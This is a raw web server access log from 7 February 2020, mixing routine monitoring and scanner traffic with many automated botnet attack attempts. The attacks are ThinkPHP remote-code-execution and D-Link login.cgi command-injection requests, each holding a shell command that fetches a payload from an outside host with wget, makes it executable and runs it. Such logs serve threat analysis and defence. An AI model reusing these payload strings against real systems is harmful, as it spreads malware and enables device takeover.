42.117.104.226 - - [07/Feb/2020:06:26:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.201.161.107 - - [07/Feb/2020:06:27:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.179.164.229 - - [07/Feb/2020:06:32:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.35.227 - - [07/Feb/2020:06:33:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.133.85.143 - - [07/Feb/2020:06:36:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.140.37.69 - - [07/Feb/2020:06:37:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.106.181 - - [07/Feb/2020:06:37:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
58.186.17.135 - - [07/Feb/2020:06:38:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.143.249.147 - - [07/Feb/2020:06:39:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.118.196.42 - - [07/Feb/2020:06:40:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
125.165.164.206 - - [07/Feb/2020:06:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.127.216.252 - - [07/Feb/2020:06:43:59 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.127.216.252 - - [07/Feb/2020:06:44:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.127.216.252 - - [07/Feb/2020:06:44:03 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.127.216.252 - - [07/Feb/2020:06:44:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.127.216.252 - - [07/Feb/2020:06:45:00 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
112.161.111.175 - - [07/Feb/2020:06:47:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [07/Feb/2020:06:47:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [07/Feb/2020:06:48:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [07/Feb/2020:06:48:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.161.111.175 - - [07/Feb/2020:06:48:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
106.12.75.175 - - [07/Feb/2020:06:48:57 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.75.175 - - [07/Feb/2020:06:48:58 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.75.175 - - [07/Feb/2020:06:48:58 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.75.175 - - [07/Feb/2020:06:48:59 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.75.175 - - [07/Feb/2020:06:48:59 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.75.175 - - [07/Feb/2020:06:49:00 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.75.175 - - [07/Feb/2020:06:49:00 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.75.175 - - [07/Feb/2020:06:49:01 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.12.75.175 - - [07/Feb/2020:06:49:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
42.113.210.153 - - [07/Feb/2020:06:49:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.179.131.146 - - [07/Feb/2020:06:55:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
197.254.98.26 - - [07/Feb/2020:06:58:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
211.192.180.178 - - [07/Feb/2020:06:58:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [07/Feb/2020:06:58:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
42.113.69.20 - - [07/Feb/2020:06:58:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.192.180.178 - - [07/Feb/2020:06:58:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [07/Feb/2020:06:59:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [07/Feb/2020:06:59:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:07:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.80.246 - - [07/Feb/2020:07:04:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.209.102.59 - - [07/Feb/2020:07:07:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.213.210 - - [07/Feb/2020:07:08:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.15.11.87 - - [07/Feb/2020:07:10:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.57.35.227 - - [07/Feb/2020:07:11:08 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [07/Feb/2020:07:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.188.228.0 - - [07/Feb/2020:07:13:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.189.37 - - [07/Feb/2020:07:13:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.41.161.150 - - [07/Feb/2020:07:17:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.76.210.205 - - [07/Feb/2020:07:17:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.211.127.203 - - [07/Feb/2020:07:19:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.70.193.167 - - [07/Feb/2020:07:20:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.153.101.106 - - [07/Feb/2020:07:22:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
104.128.92.120 - - [07/Feb/2020:07:25:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.69.164.9 - - [07/Feb/2020:07:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
177.22.89.14 - - [07/Feb/2020:07:28:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.221.164.111 - - [07/Feb/2020:07:33:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.87.249.194 - - [07/Feb/2020:07:34:16 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:07:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.232.66.127 - - [07/Feb/2020:07:34:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.105.222 - - [07/Feb/2020:07:35:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
122.128.74.253 - - [07/Feb/2020:07:35:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.170.31 - - [07/Feb/2020:07:35:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.170.14.210 - - [07/Feb/2020:07:41:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.192.12 - - [07/Feb/2020:07:43:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [07/Feb/2020:07:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.9.191.170 - - [07/Feb/2020:07:45:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [07/Feb/2020:07:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.158.36.222 - - [07/Feb/2020:07:47:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.156.219.164 - - [07/Feb/2020:07:48:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [07/Feb/2020:07:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.20.29.126 - - [07/Feb/2020:07:52:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [07/Feb/2020:07:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [07/Feb/2020:07:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
